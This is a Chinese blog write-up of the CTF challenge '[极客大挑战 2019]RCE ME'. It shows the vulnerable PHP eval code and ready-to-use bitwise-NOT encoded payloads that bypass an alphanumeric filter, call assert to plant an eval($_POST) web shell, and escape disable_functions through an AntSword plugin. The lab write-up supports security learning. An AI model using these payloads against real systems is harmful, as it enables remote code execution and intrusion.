当前位置:网站首页>[极客大挑战 2019]RCE ME
[极客大挑战 2019]RCE ME
2022-07-27 21:13:00 【茶经新读.】
[极客大挑战 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>审计代码得知,需要get传值code,并且code的长度不能大于40,code也不能取字母或者数字,考虑取反绕过,构造payload:/?code=phpinfo();,对其进行取反:php -r "echo urlencode(~'phpinfo');"或者
<?php
echo urlencode(~'phpinfo');
?>

php在线运行网址:PHP 在线工具 | 菜鸟工具
得到%8F%97%8F%96%91%99%90,从而构造出新的payload:/?code=(~%8F%97%8F%96%91%99%90)();
进去之后发现了很多很多的禁用函数:

接下来构造shell:
php断言:assert — 检查一个断言是否为 false,如果参数是字符串,它将会被 assert() 当做 PHP 代码来执行。写入shell:eval($_POST[shell]),同样的方法需要取反:
/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
# %9E%8C%8C%9A%8D%8B=assert
# %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6=eval($_POST[shell])这里系统先对code进行取反得到:/?code=(assert)(eval($_POST[shell]));,然后assert将eval($_POST[shell])当作php代码来执行,至此写入shell,前往蚁剑
url:http://xxxxx.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);

在根目录下发现flag,但是不能读取
考虑到网页禁用了大量的函数,于是利用蚁剑插件:disable_functions,右键数据->加载插件->辅助工具->绕过disable_functions->然后选择PHP7_GC_UAF->点击开始,然后直接输入命令/readflag,即可得到flag:
至此结束,撒花
边栏推荐
- BUUCTF-childRSA费马小定理
- Those "experiences and traps" in the data center
- [roarctf2019] babyrsa Wilson theorem
- QT with OpenGL (shadow mapping)
- Unity implements simple Sketchpad drawing function (notes)
- The first activity of togaf10 standard reading club was successfully held, and the wonderful moments were reviewed!
- Decrypt the secret of 90% reduction in oom crash~
- (十二)51单片机----用DS18B20浅测一下工(江)西的室外温度
- 基于mediapipe的姿态识别和简单行为识别
- The share price soared 180.46%! Shanghai silicon industry, the leader of domestic large silicon wafers, is listed: the cumulative net profit in recent four years is less than 60million
猜你喜欢
![[NCTF2019]babyRSA1](/img/c1/52e79b6e40390374d48783725311ba.gif)
[NCTF2019]babyRSA1

File&递归14.1

Why does redis cluster use reverse proxy? Just read this one

Bank Marketing预测一个客户购买理财产品的成功率

C # delegate usage -- console project, which implements events through delegation

The first activity of togaf10 standard reading club was successfully held, and the wonderful moments were reviewed!
![[NCTF2019]babyRSA1](/img/c1/52e79b6e40390374d48783725311ba.gif)
[NCTF2019]babyRSA1

Technical certification | Tupo software and Huawei cloud create a new situation of win-win cooperation

Spark 离线开发框架设计与实现

Shell编程规范与变量
随机推荐
Use of date
[ACTF新生赛2020]crypto-aes
BUUCTF-RSA roll
urllib.error. URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: un
How to use FTP to realize automatic update of WinForm
smartRefresh嵌套多个RecycleView滑动冲突及布局显示不全
解密 OOM 崩溃下降 90% 的秘密~
Flutter pull_to_refresh-1.6.0/lib/src/internals/slivers.dart:164:13: Error: Method not found: ‘descr
Shuffle, partition and read of tfrecord
Monologue of a software Investor: why don't I pursue fast-growing companies
Join hands with Changjiang storage, jiangbolong launches the world's smallest expansion card
UE4 official AEC blueprint case course learning notes
Unity 实现简单画板画画功能(笔记)
Sort sort
主数据管理理论与实践
[NPUCTF2020]EzRSA
Why does redis cluster use reverse proxy? Just read this one
Technical certification | Tupo software and Huawei cloud create a new situation of win-win cooperation
BUUCTF-bbbbbbrsa
Construction and application of super large scale knowledge map of ants